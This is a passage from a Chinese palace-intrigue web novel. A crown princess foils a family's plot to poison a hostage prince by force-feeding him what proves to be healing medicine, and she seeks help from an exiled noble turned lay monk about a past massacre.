谢望松一副语重心长模样,轻拍了拍谢筠的肩膀,“好在此次严伯钧与我们同一立场,许长宁难以如愿。除掉江鹤一,乃对她的震慑,且看她是否识相了。若你能册封翊圣郎,你便能成为为父在朝中最大的助力,我们父子二人,便再无牵制。”
谢筠放下茶杯,双手作揖道:“父亲放心,严伯钧多少争来了两个月的教习期,孩儿定会在这期间处理好一切。江鹤一死于教习期更好,如此燕国要算账的第一人,便是许长宁。”
谢望松却摇摇头,负手转身,拿起一根小棒,挑逗笼中的囚鸟:“莫要忘了,十二年前昭国为何能败了燕国。如今燕国对昭国虎视眈眈,已经夺回了两城,他们忘不掉过去被碾压的屈辱,定是要趁我们皇帝倒了便起兵
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,缺的是一个挑动军民的借口。”
谢筠闻言,顿时颇为懊恼。
他急于表现,忘了这一层考虑,明明江鹤一与他说过了同样的话。
谢筠作揖的手暗暗用力,指甲嵌入被烫得通红的皮肤里,留下一道道血痕。
绝不能再让父亲看到自己的不周全了。
“孩儿明白。”谢筠痛得双唇有些发白,额头也渗出了汗珠,可他的眼中却因谢望松的再度信任,闪烁着兴奋的光。
“江鹤一将会与皇帝一样,死不了,也活不过来。”
*
昨夜因“燕军劝降”一事喧闹的雍京城,今夜恢复了平和。
官府已查清,此事只是盗匪作乱,百姓便不再恐慌。
“哼,如此利用百姓,果然是女人,绝非正人君子!”严伯钧坐在家中卧房,听着下人的禀报,不屑地冷笑。
“对了老爷,早些时候,殿下差人送来谢礼,说今日感谢老爷相助。”下人呈上许长宁写的信。
“不要!退回去!”严伯钧不耐烦地摆摆手,“她逼我的时候,可没有这么客气!再者,谁说要助她了?就凭一个女人,便想扳倒世家?陛下都没能做到,她一个女人——”
忽然砰的一声,卧房门被人毫不客气地踹开了。
“女人又如何?你还不是从女人肚子里出来的!没有女人,你还不知道在何处做臭虫呢!”
严伯钧之妻魏年端着一盆洗脚水,满眼嫌恶地骂道,“日日女人女人挂在嘴边,你又有多了不起?没种的男人!”
“你这泼妇!”严伯钧拍案而起,怒道,“我以书院山长身份开创独一无二的教学之道,培养出三届科举状元,十二位六部郎官!书院生徒中举率,连续九年超过国子监!由此获陛下特诏,入京担任太子太傅,一路擢升至右相!你说我没种?”
这套话魏年听了几十年,她翻了个白眼:“你就是没种!怎么?不服气?不服气便与我和离啊!”
严伯钧厉声道:“不可能!和离两次,我的学生如何看我?”
“那他们若是知晓,你将我这个师娘当做下人一般使唤,犹如满头白发的婴孩,自己什么都不会做,连我们的女儿产后身子虚弱,需要照顾,你也不让我去陪她,说什么我走了谁来照顾你,他们会高看你一眼是吗?”
魏年满脸怨气地将洗脚水放到桌前,一点情面都不留,“老娘我是目不识丁,但我不瞎,你就是没种!”
严伯钧面色愈发难看,但偏又争不过魏年,只能拂袖作罢,转移了话题,恨恨道:“都是因为你胡闹,许长宁才敢在我面前放肆!我今日为了帮她,在满朝文武面前丢尽了颜面!”
“你有脸吗?”魏年边给严伯钧扯掉袜子,边继续骂道,“看不起女人的男人算什么东西?我就是看好殿下,就是帮着她,也好过帮你这个臭老头!”
言罢,她猛地将严伯钧的脚按入水盆中,严伯钧顿时被烫得浑身一颤。
“你想烫死我吗?!”严伯钧呵斥道。
结果魏年死死按住他的脚,不让他动:“就是想烫死你,然后继承你的家财!”
严伯钧气得胡子都要歪了,但又怕魏年出去抹黑他的名声,只能咬碎了牙,将这口气咽下。
也不知许长宁到底同魏年说了什么,原本魏年只敢背地里偷偷骂他,可一夜之间,她仿佛爆裂的水缸一般,开始不管不顾地大骂,次次都喷他满脸口水沫子,还站在许长宁那头,帮她一同威胁他。
许长宁说,若他不在卜选一事上帮她,她便让魏年联合他学生们的妻女闹事,搅得他所有学生家中鸡犬不宁,让他家门不和之事“流芳百世”。
可是,许长宁是如何知晓魏年与他不和的?还说什么,若魏年当真闹起来,他定会身败名裂……
荒唐!
严伯钧因高温的洗脚水,热得涨红了脸,让魏年给他拿帕子擦汗,结果魏年直接朝他甩手,甩了他一脸的洗脚水,随后扬长而去。
严伯钧气到了极处,想要掀了洗脚盆,可想到弄湿的是自己卧房,又打消了念头。
他尝试转移注意力,以消解心中无处发泄的闷气,忽然看到桌上许长宁给他写的信。
出于好奇,他还是拆开看了眼。
信中除了客气的道谢,还有一句毫不客气的警告。
许长宁让他不要有动江鹤一的念头。
严伯钧将信往桌上一拍,气笑了。
许长宁竟然为了一个卑贱的质子来威胁他?
难不成,她当真看上了江鹤一?
不过,许长宁如何威胁他都没有用。
不必他动手,谢家肯定容不下江鹤一,他倒要看看,这许长宁能护住江鹤一几日。
*
江鹤一的前世日志·九
我喜欢冬与初春,与景色无关,只因为夜里足够寒冷。
春雪下了一夜,她便抱了我一整夜,埋头在我胸口,脚也蹭着我的,她很怕冷。
昨夜我做了一个梦,梦见当初她卜选翊圣郎的模样,一身红衣,美到我觉得多看她一眼都是玷污。可她却在满朝文武前,选中了我,她唤我燕皇子殿下,牵起我的手,带我步步登上高台。
阳光很好,她很美,她的手很温暖。我无需戴着面具,便能与她并肩,可以抬头挺胸,俯视那些曾欺我辱我之人,这是何等幸事?她问我是否喜欢,可不知为何,我却回答不了,明明心中的欢喜快要溢出来了。
当我戴上面具要离开昭宸殿时,她拉住我的手,让我再陪她一会,我便同她说了昨夜的梦,当然,我没有提及我的身份。她窝在我怀中静静听完,忽然问,若当真有机会重来,她自最开始便认识了我,插手改变了我的一切,我是否仍会像现在一样,与她在一起,还这般好?
她不知道,她的笑颜,她的抚摸,她予我的温暖,与她共同度过的每时每刻,皆已刻入我的魂中,即便时过境迁,我对她的这份情意亦不会变。
离开前,我告诉她,若真有那么一日,若我忘了这一切,请陛下莫要伤怀,亦求陛下莫要抛下我,给我一些时间。
我一定会记起来的,一定。
16.毒杀
自卜选之日过后,苏明烨便再没有见过江鹤一。
他多次去司训房想见江鹤一,却无人让行,又赶去东宫求见许长宁,也被请了回来,只得到一句“安心养病”。
苏明烨深知江鹤一如今的处境极为危险,可他什么都做不了,心急如焚,食难下咽,夜不能寐。
在第三日夜里,他摸黑去了寿昌院,林笙和他的奶奶们的住所。
“叔?您怎么来了?”林笙揉着惺忪睡眼,忙让衣着单薄的苏明烨进屋,“外边冷,快——”
可他的话还没说完,苏明烨便在他面前跪了下来。
“叔!您这是做什么?”林笙忙去扶,却拉不起执意要跪的苏明烨。
苏明烨几日没有好好进食,声音又弱又颤:“阿笙……求你帮忙想想办法,鹤一如今在司训房杳无音讯,我实在是……没法子了……”
“我还以为您这几日已经见过老一了。”林笙硬是拉他起来,让他坐下,“老一在司训房应当只是听学,不会有什么危险吧?毕竟殿下已经选了他当翊圣郎,必定是认为他有用处,想必会保护他的。”
“谢家不会放过鹤一的,殿下此举,是将他往火坑里推啊……”苏明烨一心急,便喘咳不止,“殿下即便有心护着鹤一……她也未必能赢得了谢家……”
“您先别急。”林笙给苏明烨倒了杯水,又披了件衣裳,小声安抚道,“我明早请奶奶们帮忙打探一下消息,我也想办法混入司训房,看能否见到老一,给他带些防身的物件也好。”
苏明烨痛恨自己的无能,着急又无奈,眼看着又要给林笙跪下,林笙忙给他拽了起来,说他再跪,自己便不帮他了,这才让苏明烨打消三跪九叩的念头。
寿昌院外,一道随着苏明烨而来的黑影,在听完屋内一切对话后,悄然离去。
*
翌日清晨,寿昌院的厨房便热气蒸腾。
林笙忙活了一个时辰,和面,剁肉,制作肉馅,蒸了一笼香喷喷的包子,连带着几层蒸笼,要端去厅中给奶奶们吃。
“三层蒸笼,瞧这大小,一层高低也有二十个包子,你这小娃娃,是想用六十个包子将我们埋了是吗?”
一名头发花白却梳得整整齐齐的老妇人,看到在院中行走的蒸笼,想去帮林笙一把,林笙却侧身一闪,勉强露出个脸来。
他笑嘻嘻道:“二奶奶今日竟是第一个起床的,月亮昨夜是从东边落下的吗?”
二奶奶够不着林笙的头,便笑着掐了掐他的胳膊:“嘴皮子跟你三奶奶学得越来越贫了。”
“若不是三奶奶把我嘴皮子教得如此伶俐,能跟雍京城那些老板们讨价,我也得不到这宫市使的差事呀。”林笙将三层蒸笼放在桌上,拖出桌下的椅子让二奶奶坐下。
“胡说八道。”二奶奶不乐意了,“明明是我教你算学,你以算账之能得到了这份差事。”
“那自然是二奶奶功劳最大了!”林笙忙给她递去热乎乎的包子,贴着她坐在一旁,“我最喜欢二奶奶了。”
“臭小子,这话对我们九个姐妹都说过很多遍了吧?”
一道虽沧桑却仍坚韧的声音从门口传来,林笙双眼一亮,立即迎上去,挽住来人的手,笑嘻嘻道:“什么事都逃不过大奶奶的双眼,您不愧是尚宫局的总舵手!领头羊!”
“小笙今日嘴这么甜,还献殷勤,是不是有事要我们帮忙?”三奶奶打着哈欠走出来,与其他梳妆好的六位奶奶们端来筷子与碟子,在桌上铺开。
“我对奶奶们的真心,天地可鉴!”林笙的表情认真了片刻,随即又变回那副嬉皮笑脸的模样,给纷纷落座的奶奶们逐个掐肩捶背,“不过今日是想麻烦奶奶们帮个小忙。”
“这次的肉馅做得更嫩了,不错。”七奶奶用筷子戳着一个包子,边嚼边问,“说吧,又要我们打探什么消息?”
林笙压低了声音:“江鹤一在司训房,三日都没有消息了,明烨叔很担心,昨夜来求我帮忙。”
上次为江鹤一打听到周徽音消息的六奶奶有些犹豫,蹙眉劝道:“小笙呀,虽说你与苏明烨、江鹤一这些年来走得近,苏明烨也确实为我们姐妹几个免费看诊治病多年,但眼下他们正处于风尖浪口,招惹的个个都是我们惹不起的人物,你要小心,能避则避。”
“小娃娃,你为何想帮他?”二奶奶也给林笙嘴里塞了个包子,“真把他当成朋友了?”
“他……他还欠我许多银子……”林笙支支吾吾道,“我得知道他的消息,不然这十几年的债就要不回来了……”
大奶奶笑了笑,掰开一个包子咬了一口:“那便为了这笔银子,我们姐妹几个就多留心去打听打听吧。”
林笙咧嘴一笑,小虎牙便冒了出来:“奶奶们最最最好了!”
言罢,林笙当即拿走了两层蒸笼,扭头就跑。
“小崽子!这包子不是给我们的吗?”五奶奶起身冲他大喊,她只来得及夹了一个包子。
林笙溜得很快,边跑边嚷:“晚上再给奶奶们做!我得去贿赂一下别人!”
他抱着两笼包子,去司训房门口一旁守着,见着有太监来上值或者换班下值,便往他们手里塞一个,还强调这是免费的。
大多数太监都认识林笙,知道他的厨艺是从他那在尚食局当差的七奶奶处学来的,自是想要尝尝这包子。
更何况,他们认为能从他这铁公鸡手中得到免费的东西,简直是百年难遇,更觉得这包子稀奇。
这一日下来,结合奶奶们的消息,以及在司训房当值的太监们的消息,林笙得出了一个非常糟糕的结论。
江鹤一可谓危在旦夕,司训房中,处处都是想要杀他的人。
光是这三天,冲着他去的明枪暗箭已经数不胜数,幸好他都勉强躲了过去。
他在司训房中如同困兽,无处可逃,可许长宁始终没有出现。
她似乎真的不在乎江鹤一的死活。
*
司训房本是给刚入宫的宫女、秀女或是妃嫔教习之处,这还是头一次,来了一位男子。
江鹤一起初说什么都不愿进来,一副宁死不屈的模样,可许长宁冷脸甩了一句话。
“苏明烨是死是活全看你是否配合,若没有通过考核,我让你们生不如死。”
江鹤一只能偃旗息鼓,咬牙切齿住进了司训房。
白日里,他学习昭国礼法律法,因称自己懂些医术,还要接受医术考核,夜里,他便要挑一处隐秘又坚固的藏身之处,躲上一整晚。
三日,他便换了三处地方躲藏,翌日总能发现之前躲的地方已经被毁了。
他不敢睡觉,也不敢随意吃东西,到了第四日,已经有些神智恍惚了。
“卫迟风,你觉得他还能撑几日?”薛竹铃趴在屋檐上,问一旁观察江鹤一状况的卫迟风。
卫迟风对这个三番四次出言伤害许长宁的人没有半点好感,冷笑道:“殿下只是暂时需要利用他,他此前那般招惹殿下,估计殿下不会护他太久,定不会走到成婚那步。”
薛竹铃撑着脸,望着下方不远处,在窗前提笔写字的江鹤一,歪了歪头:“难说……”
她觉得,她家殿下即便不喜欢这个人的馅儿了,还是馋他的皮的。
毕竟前世一起睡了六年呢……
看江鹤一起身离开窗边,薛竹铃直起身子想要看他去做什么,卫迟风便抬起一边手,虚虚护在她的身后:“是不是殿下与你说了什么?”
薛竹铃身子一僵,眼珠子转了转,马上否认:“没有啊。”
女孩子之间的事情,才不能跟男孩子说。
卫迟风也不甚在意,轻声道:“殿下若真有心仪之人,也绝轮不到一个质子。”
“那会是谁?”薛竹铃猛地凑近卫迟风,睁着圆溜溜的双眼好奇问道。
卫迟风一顿,迅速收起眸中那抹一闪而过的愣怔,答道:“殿下稍后要出宫见一个人,你便知道了。那才是真正可以帮助殿下扳倒谢家,可以配得上殿下几分之人。”
“那赶紧走吧,我要为殿下梳妆。”薛竹铃自觉地环住卫迟风的脖子,卫迟风轻松将她抱起,跃下了屋檐。
他们离开后不久,一名谢家侍从出现在了司训房中。
侍从给司训房的一个太监偷偷递去一包银子,以及一包毒药粉。
他寒声道:“今夜便动手,务必要给江鹤一全灌下去。”
*
雍京城郊外,有一座香火甚旺的寺庙,莲台寺。
戴着帷帽的薛竹铃悄悄撩起一点面纱,讶异地望着眼前景象,问一旁的卫迟风:“殿下可能心仪之人……是和尚??”
卫迟风笑而不语,伸手合上了她的面纱。
许长宁取了几根香,于佛像前虔诚跪拜,又向几位僧人问及一位“了尘居士”。
许长宁每与一人对话,薛竹铃都要好奇地掀起面纱,想要看得更清楚一些,很快又被卫迟风给“封印”了回去。
最后,许长宁来到一间禅房前,听着里面传出的木鱼敲击声,她犹豫片刻,还是推门进去了。
一个身着僧袍的男人背对着门口,跪在佛像前,手捻一串佛珠,低声念着佛经。
这便是她问了一路的了尘居士。
许长宁站在他身后,日光将她的身影拉长,落在了尘居士的身旁。
男人的身影不被察觉地微微一颤。
许长宁没有说话,只是取下帷帽,提起裙子,在了尘居士身边跪下,双手合十,闭眼祈愿。
薛竹铃跟卫迟风候在门外,她探头看了眼,小声嘀咕道:“哎,这个有头发耶。”
她扯了扯卫迟风的袖子,“这到底是谁啊?”
卫迟风看她挠心抓肺问了一路,便附耳低声提示道:“你可知十二年前的和宁宴,是由谁提出,由谁来负责的?”
薛竹铃眨眨眼,摇了摇头。十二年前她才五岁,对此事一无所知。
卫迟风继续道:“当年可与谢家匹敌的洛宸一大世家,沈家。”
“可沈家如今不是在洛宸好好的吗?只是屈居于谢家之下而已。”薛竹铃不解道。
“如今沈家家主是沈家二房的人,当年和宁宴,是沈家大房负责操办的。”卫迟风看向那道跪着的身影,“那一日,除殿下一人生还,所有皇嗣皆被杀害,此罪太重,洛宸几大世家为撇清干系,造出声势,要朝廷抄斩沈家大房,以平民愤。陛下当时悲痛不已,仍念在沈家公子与大皇子殿下有深厚情谊的份上,只让沈家大房流放。殿下极力周旋,保下一人留在雍京,其他人在流放半途,不幸遇上山匪,尽数身亡。”
薛竹铃顿时噤了声。
许长宁眼下便是怀疑和宁宴事变与谢家有关,若当年之事真的有隐情,那沈家大房……死得多冤啊……
阳光落在男人的衣裳上,几根因陈旧磨损而断裂的丝线,仿佛被镶上金边,格外显眼。
木鱼声渐渐变弱,男人睁开眼,却没有看向许长宁。
“施主为何事而祈愿?”他的声音沉稳平静,犹如毫无波澜的水面。
许长宁放下双手,凝望着佛像慈祥的面容,答道:“为父亲安康,为家国安定百姓平安,也为自己安宁。”
了尘居士摩挲着手中佛珠,平静道:“施主好善乐施,宅心仁厚,佛祖定会庇佑施主。”
许长宁却轻笑一声:“上苍已予我一次机会,接下来的路,只能靠我自己走。”
“那施主为何来此求神拜佛?”
“因为心中有惑,而此处,有我要寻的答案。”
了尘看向许长宁所跪的蒲团:“久跪伤身,施主还是起来吧。”
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许长宁侧头看向他,微笑道:“若心不诚,恐难以解惑。”
了尘重新闭上眼,似在回避与许长宁对视:“施主有何困惑?”
许长宁敛起笑容,低声道来:“十二年前,我曾丢失了一日的记忆,只记得兄长为救我而死,父亲母亲皆对那日之事绝口不提,我只能从别人口中拼凑出一些片段,但我想知道发生的所有事情。”
了尘并未马上接话,禅房内只有佛珠转动的轻响,只是速度快了一些。
“施主既已忘却,想必那日之事极为痛苦,为何还要想,还要探究?”
许长宁答道:“唯有如此,我心之所愿,方能成真。”
了尘闭着眼微微摇头:“一旦探究,又将引起一场腥风血雨,施主不如放下执念,定有其他方式,能让施主达成心愿。”
“腥风血雨已无可避免,便看谁能在这场灾祸中胜出了。”
许长宁再度侧头看向了尘,声音变得愈发柔软。
“庭玉哥哥,帮我。”
了尘手中转动的佛珠倏地停住,房中那令人心平气和的声音戛然而止。
“十二年前之事有蹊跷,我怀疑谢家参与其中,你一定知道什么,对吧。”许长宁望着他闭目的侧脸,袖中的手默默攥紧了些。
她知晓她的请求,违背了沈庭玉的意愿。
可是她需要他,她只能逼着自己自私地将他再度拽入尘世。
“有人害得沈家大房蒙冤覆灭,山匪极有可能只是幌子,庭玉哥哥,你不恨吗?”
“他们还害得我阿兄惨死,你从前,与阿兄那般要好……”
“施主,我如今是了尘居士。”
沈庭玉话语平和,手却将佛珠攥得更紧了一些,“佛言一切有为法,如梦幻泡影。过往种种,早已是消散的尘烟,执着于仇恨,不过是自困于虚妄罢了。”
“十二年前的往事,沈家难辞其咎,罪有应得。”
“了尘这一条命,是靠皇太女殿下处处哀求,与爹娘拼死周旋而保下来的,不能再卷入仇恨与世家纠纷之中。”
“了尘……劝施主也莫要冒险。”
“谢家狼子野心,洛宸已无法满足他们。”许长宁望着沈庭玉手中那串被摩挲得极为光润的佛珠,坚定道,“不斗,不冒险,才是死路一条。”
可半晌过去,沈庭玉终是没有回应,闭着眼一言不发。
许长宁站了起来,重新戴上帷帽:“庭玉哥哥,你是要在这里走你的死路,还是与我一起走上唯一的生路?”
不再等沈庭玉的回应,许长宁转身离开了。
当她跨出禅房的门槛之时,那道如磐石一般的身影,忽然说了三个字。
“太医署。”
许长宁的手一顿,零碎的线索迅速在脑中拼凑起来。
十二年前的和宁宴事变,便是从太医诊治开始的。
当日晚宴在游船上举行,按照计划,昭燕两国皇室成员先是会面、交换礼物,而后一同用晚膳。可是昭国最小的七皇子在众人会面时忽然发病,浑身发烫,哭闹不止,被带回房中。
太医诊治后,说七皇子染上了疫病,可能在来洛宸城的途中感染的。
这令宴会所有人大吃一惊,亦心生恐慌,晚宴也因此取消。许昭临命一路同行、极有可能感染的皇子公主们暂时集中回到卧房,南衙与北衙禁军行疏散之责,在游船靠岸后安排一众宾客分批离开游船。
然而在众人撤离时,皇子公主们所在的船舱方向失火,掀开了那日的噩梦。
沈庭玉说太医署,是指当年太医对她七皇弟的诊治有问题?
诵经之声再度缓缓响起,许长宁明白沈庭玉不愿再多说,便也没有再多问,带着卫迟风和薛竹铃离开了。
直至身后的脚步声彻底消失,沈庭玉才敢睁开眼。
他看向方才许长宁跪过的蒲团,又抬眸看向方才她的面容曾留痕之处。
“长宁,许久未见……”
“你看上去……很好……”
*
回宫路上,许长宁一直在思索着沈庭玉所说的太医署。
若当年为她七皇弟诊治的太医有问题,那整个和宁宴的存在,或许都是一场杀局。
加之此前父皇的药中出了问题,太医署亦有嫌疑,其中很可能渗入了谢家的势力。
如此,她便从太医署查起,若要不打草惊蛇……
马车忽然停下,许长宁的思绪被打断,她掀起帘子看向外面,发现已接近宫门。
“怎么了?”她看到有卫士来向卫迟风汇报消息。
“殿下。”卫迟风低声回禀,“司训房,有动静了。”
而此刻,江鹤一已被逼入绝境。
白日里收下谢筠所给毒药的太监,正将一柄锋利的刀架在江鹤一的脖子上。
江鹤一被点了哑穴,又因颈间冰凉的刀锋而不敢动,步步后退,直至后背抵墙,再无退路。
那太监笑了笑,拿起一碗汤药,递到他嘴边:“乖乖喝干净,可以痛快些。”
那碗边已经抵在江鹤一的唇上,他仍死死闭着嘴,双眼拼命搜寻,试图寻找生机。
突然,房门被人从外面打开,一道极为熟悉的身影走了进来。
是许长宁!
江鹤一双眼一亮,随即看到许长宁大步走过来,夺走太监手中的毒药,紧随其后的卫迟风也拉开了江鹤一面前的太监。
江鹤一正要狠狠松一口气,然而下一瞬,许长宁却“啧”了一声。
“怎么下手如此慢?”
未待江鹤一反应过来,卫迟风便卸了他的下巴,钳制住他的双手,押着他跪在地上,逼他仰起头。
许长宁面无表情地行至他身前,掐着他的脸,将手中那碗黑色浓药,猛地灌进了他的嘴里!
17.私情
一整碗黑色的浓药,便这样被许长宁悉数灌入了江鹤一的口中。
江鹤一拼命挣扎,却因卫迟风的钳制而无法挣脱,眼中充斥的愤怒烧红了他的眼。
许长宁竟然如此迫不及待要他死,此前他还以为……
真是太蠢了。
药灌完了,卫迟风把江鹤一的下巴给按了回去,却仍擒住他的双手,不让他扣喉催吐。
江鹤一满眼愤恨地瞪着许长宁,震惊与怒意令他几乎丧失理智,连口中极苦的药物是什么也分辨不出来了,只觉得浑身难受,胃里似在灼烧,呼吸也变得艰难。
“有话要说?”许长宁挥挥手,卫迟风便解了江鹤一的哑穴。
“毒妇……”江鹤一觉得喉头一片腥甜,只能从牙齿缝里挤出两个字。
许长宁眉梢轻挑,伸手抬起他的下颌,用指腹轻轻擦去他嘴角的药汁,微笑道:“那孤可得对得起你这一句评价才行。”
言罢,她拂袖转身,交代道:“过两个时辰,再给他灌一碗。”
江鹤一再也忍不住胸口翻涌之感,猛地吐出一口血。
他的眼前开始阵阵发黑,全身发软,望着许长宁逐渐消失在夜色中的身影,他彻底瘫倒在地,仰着脸喘息。
“许长宁……疼……”
“这样……会好一些吗……”
竟然……开始幻听了……
江鹤一闭上眼,神志逐渐模糊之际,脑中却浮现出一幕幕陌生的画面。
他看到,许长宁捧起他的脸,撬开了他死死紧咬的牙关,搂着他往一侧躺倒……
他感觉到她抚上他遍布伤疤的后背,紧贴他的胸膛,靠近他的呼吸,与他化作一体……
她吻过他的唇,又来亲吻他的鼻尖,他的双眼……
而他……竟咬破了她的唇……吮吸她的血……紧箍着她的腰身,与她一同起伏,一同喘息……
若不是他此刻已经没有了力气,真恨不得扇自己两巴掌。
临死前,想起的竟是与这毒妇耳鬓厮磨……怎会如此荒唐……
怎会……如此熟悉……
*
“老一……老一醒醒……”
林笙慌乱的声音,将江鹤一从混沌中唤醒。
他勉强睁开沉重的眼皮,模糊看到了林笙在榻边的身影。
“你怎么……”
江鹤一话没说完,便咳出一口黑血,吓得林笙忙用衣袖给他擦血。
方才那太监又给他灌了一碗毒药,恐怕天一亮,司训房便可以宣布他已暴毙于榻上了。
“我……我想来……看看你的……”林笙看江鹤一这副垂死模样,当真慌了,抖着手一股脑将带来的药物全掏了出来,“你看看哪些药有用……明烨叔让我带来的……你看看……”
江鹤一吃力地侧过头,可视线中一片朦胧,他已分不清眼前是何物了。
胸口一阵气急,他再度呕出一口血,林笙咬咬牙,随便挑了一瓶药,死马当活马医,要给江鹤一喂下去,可江鹤一却微微摇摇头。
“阿笙……我的榻下……有银子……欠你的……还给你……”
林笙双眼一热,眼泪顿时狂飙:“我……我不要你还!你给我撑住了!我马上去找人救你……我……我去找殿下!”
林笙说完,抬手抹了把眼泪鼻涕,转身要跑,江鹤一用最后一点力气,揪住了林笙的袖子。
“求你帮我……照顾……师父……”
林笙正要应他,可下一瞬,江鹤一的手便脱力垂下,闭着眼再也没了动静,林笙心一颤,用力摇了摇江鹤一,却没有得到任何回应。
他满眼慌张,往屋外看了看,狠下心拽起江鹤一,想要将他背起来带走,却忽然听见屋外传来了说话声。
他顿时万分纠结,他是买通关系偷跑进来的,若是被抓到,被人发现他与江鹤一有私交,他也完犊子了……
怎么办……
“啧啧啧,这小太监,还挺有情有义的。”趴在屋檐上看了一出生离死别大戏的许长宁嘴角微扬。
一旁的薛竹铃点点头:“卫迟风说苏明烨去寿昌院求那小太监帮忙时,小太监也很快答应了,看来他跟燕国那两人关系甚好。”
“殿下……要不您换个地方看吧?”卫迟风夹在两人中间,一脸担忧。
薛竹铃要他带她一起偷看也就罢了,怎么许长宁也要爬屋顶来偷看?
两个人都是不能摔的,他一手护一个,压力好大。
可那两人光顾着偷看,压根没将他的话听进去。
“哎,来人了!”薛竹铃扒着屋檐往上挪了挪,许长宁也好奇地往最高处爬了爬,想要看得更清楚。
两名巡视的侍卫往江鹤一的屋内走去,林笙用手沾了江鹤一吐出的血,往脸上一抹,暂时掩盖自己的容貌,未等那两人质问他的身份,便装作惊恐一般坐摔在地,指着不知死活倒在地上的江鹤一大喊:“要死人啦!快来人呐!救命啊!”
两个侍卫仔细一看,再顾不上林笙,一人忙去查看江鹤一的情况,另一人跑出去找太医。
林笙连滚带爬往外跑,一边跑一边继续闹出动静来:“翊圣郎被人下毒了!救命啊!”
待整个司训房变得灯火通明,林笙已经悄然消失了。
“这小太监是谁?”许长宁问道。
“林笙,他是一名宫市使,平日为宫里采购雍京东西市的物资,偶尔帮宫中人偷运一些物资出入宫,父母不详。”
卫迟风早在接到监视静思院的任务后,便摸清楚了江鹤一身边所有人的身份,“臣命人查过,他应当是宫女与侍卫私通生下的孩子,被遗弃后,是寿昌院那些年长的女官收留了他。许是寿昌院与静思院距离较近,他年幼时便认识了江鹤一。”
“有意思。”许长宁颔首道。
薛竹铃看司训房那些人,手忙脚乱地围着江鹤一不知所措,忍不住问道:“殿下,您为何要这样对江鹤一?”
一会要救他,一会要罚他,一会又要给他长脸,眼下又给他灌毒药……
她已经被弄糊涂了。
这到底是喜欢他,还是不喜欢他?
“从前欠的债,该还的。”许长宁低声道。
卫迟风一怔,侧头看向许长宁,不解道:“若殿下心中对他有恨,为何还要大费周折为他寻得那等良药?让谢家了结他便是了。”
薛竹铃也懵了:“啊?那不是毒药吗?”
许长宁却哑然失笑:“这是我欠的债,我要还给他。”
这个人现在弱不禁风,估计是从前留下了太多病根,手脚是冷的,爬几层台阶,就能引起喘咳,听闻冬至前还大病一场,昏迷了几日。
这一副残躯,与那五十老者相比也胜不了几分,是得给他好好调理调理了。
再加上她的一出好戏需要他配合,可这小子又倔得很,未必会乖乖听话,便让他睡一觉好了。
“你俩记住了,我不仅要他活着,还得他好好活着。”
许长宁看着江鹤一被人抬回榻上,围着他的人皆神色忧愁,诊治的太医也连连摇头,甚是满意。
“他的用处,后头还多着呢。”
*
翌日,江鹤一被毒害的消息传遍了宫中,许长宁天未亮,便带着一众东宫卫率,大张旗鼓地去了司训房问责。
许多路过司训房的宫女太监都被吓着了。
他们从未见皇太女殿下这般大发雷霆,司训房中不断传出东西被砸碎的声音,以及许长宁的厉声呵斥。
也难怪许长宁如此生气,这当众亲选的翊圣郎,才入司训房四日,便被人下毒谋杀,听闻江鹤一被人发现时,已毒发昏迷,枕边尽是吐出来的黑血,只剩下一口气了。
许长宁当即命人封锁了司训房与太医署,不准任何人插手,要亲自彻查凶手,然后让人将江鹤一抬回了东宫。
“看来是活不成了……”
许多宫女太监趴在墙角偷看,有人偷偷感慨了一句。
任何人见了江鹤一那如同死人般的脸色,都会得出这般结论。
林笙混在偷看的人群中,悄悄红了眼。
其实他挺喜欢老一的……
他应该早些来的……
林笙抬手抹了把眼泪,转身往静思院走,也不知道苏明烨知道这个消息,能不能熬得过去……
他不会要一下子送走两个人吧……
江鹤一给他留的钱,也不知道够不够,若是足够,也许可以找个商队,托人将他们俩给送回燕国去……
林笙胡思乱想着,很快便走到了静思院,可他找遍了,都没有找到苏
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明烨。
苏明烨昨夜终于支撑不住,昏了过去,早晨醒来时,奇怪地发现自己躺在榻上。
他正要去打听江鹤一的消息,却惊闻江鹤一被毒害,已被许长宁带回东宫。
他强逼自己冷静,带上所有可解毒的药赶往东宫,在东宫门前跪着猛磕头,求侍卫放他进去救治江鹤一。
很快有人来将他领进去,可他却没能见到江鹤一,而是被带到了许长宁面前。
“想救他,便如实回答我的问题。”许长宁品着茶,一副悠闲模样。
苏明烨一口应下:“只要殿下留那孩子一命,您要我做什么都可以!”
许长宁摩挲着茶杯边缘,问道:“你如此在意江鹤一,到底为何?”
苏明烨迅速答道:“鹤一是我们的嫡长皇子,小人自是要保护他性命,这是小人陪他来昭国的职责。”
“苏明烨,你是一名医师,本该悬壶济世,救死扶伤,可你为了保护他……”
许长宁放下茶杯,垂眼打量苏明烨,提及前几日在静思院监视江鹤一的卫士带回来的消息,“你杀了一整队来昭国的燕军,能尽责至此等地步,你与江鹤一的关系,绝不止是如此,或者说,你与燕国皇后周徽音的关系,非同寻常。”
苏明烨身体一颤,立即垂眼不敢看许长宁,死死攥着拳,并未应答。
许长宁也不着急,幽幽道:“不说也行,你再等上一炷香时间,便可把江鹤一的尸身给带回去了。”
“小人……爱慕皇后娘娘,愿为她……守护她最爱的孩子……”
苏明烨豁出去了,他已顾不上说出这些是否会给周徽音带来麻烦,眼下救江鹤一最要紧,毕竟周徽音最在乎的便是江鹤一……
许长宁的猜想被印证了,她抿了一口茶,继续问道:“那周徽音呢?她对你可有情?”
苏明烨垂首沉默,耳边依稀回响起那道令他魂牵梦绕的声音。
“明烨……对不起……”
他扯了扯嘴角,低声道:“或许……有过吧……”
*
许长宁的前世日志·三
与谢筠成婚将近三年,我察觉自己手中的权力已所剩无几。如今我在朝堂上,犹如殿门前的石狮子,空有其表,毫无用处。
近些日子,我时常在想一件事,心烦意乱,夜里亦无法安眠,云止用上往常哄我入睡的法子,也不管用了。他问我为何事烦心,我终于下定了决心。
我告诉他,趁我还有自由让人出入皇宫的权力,我要派人送他出宫。他想去何处,我便送他去何处,为他安顿好一切。
我深知,长此以往,我只会沦为谢家的傀儡,他这样一个见不得光的人待在我身边,会有危险。何况我感觉,谢筠早已发觉,我知晓云止不是他,只是我不闹,云止不闹,他也不在意罢了。
那夜过后,云止连续五日没有再来,约好接应他出宫的人亦没有见到他。我不知晓他住在宫中何处,姓甚名谁,长什么模样,我没有找他,应当也找不到他,他就这样消失了。
消失了……挺好……也许他回家了,也许还在宫中,但他应当不会再来了……我不知道,我只是……很想他……
